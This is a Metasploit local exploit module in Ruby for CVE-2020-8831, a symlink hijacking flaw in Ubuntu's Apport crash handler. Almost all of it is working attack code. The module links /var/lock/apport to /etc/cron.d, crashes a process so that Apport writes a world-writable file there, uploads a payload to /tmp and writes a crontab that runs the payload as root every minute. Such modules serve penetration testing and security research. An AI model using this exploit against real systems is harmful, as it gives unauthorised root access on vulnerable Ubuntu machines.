1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172
|
class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE
def initialize(info = {}) super( update_info( info, 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', 'Description' => %q{ On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be able to create files with global 0777 permissions. This module exploits this weakness by creating a symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with elevated permissions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maximilien Bourgeteau', 'gardnerapp' ], 'References' => [ [ ['URL', 'https://nostarch.com/zero-day'], ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], ['CVE', '2020-8831'], ] ], 'Platform' => ['linux'], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ [ 'Linux_Binary', { 'Arch' => [ARCH_AARCH64, ARCH_X64] } ], [ 'Linux_Command', { 'Arch' => ARCH_CMD } ] ], 'Privileged' => false, 'DisclosureDate' => '2 April 2020', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options [ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) ] register_advanced_options [ OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) ] end
def check return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
if !command_exists?('apport-cli') return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') end
apport = cmd_exec('apport-cli --version').to_s
return CheckCode::Detected('Unable to determine apport version') if apport.blank?
apport_version = Rex::Version.new(apport.split('-').first)
vulnerable_version = Rex::Version.new('2.20.11')
if apport_version == vulnerable_version vprint_good("Apport appears to be vulnerable.") return CheckCode::Appears end
CheckCode::Safe end
def hijack_apport print_status("Creating symlink...")
if exists? '/var/lock/apport' fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') end link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') print_status(link)
print_status("Triggering crash...") cmd_exec 'sleep 10s & kill -11 $!'
@cron = '/etc/cron.d/lock'
unless exist?(@cron) fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') else print_good("Successfully created /etc/cron.d/lock") end end
def write_payload print_status 'Uploading payload..'
payload_dir = datastore['WRITABLE_DIR']
payload_dir += '/' unless payload_dir.ends_with? '/'
payload_file = datastore['PAYLOAD_FILENAME']
@payload_dest = "#{payload_dir}#{payload_file}"
if target.arch.first == ARCH_CMD upload_and_chmodx @payload_dest, payload.encoded else upload_and_chmodx @payload_dest, generate_payload_exe end end
def write_cron cron_interval = datastore['CRON_INTERVAL'] data = "#{cron_interval} root #{@payload_dest}\n" write_file(@cron, data) print_good "Successfully wrote crontab!" end
def exploit fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) hijack_apport
write_payload
write_cron end end
|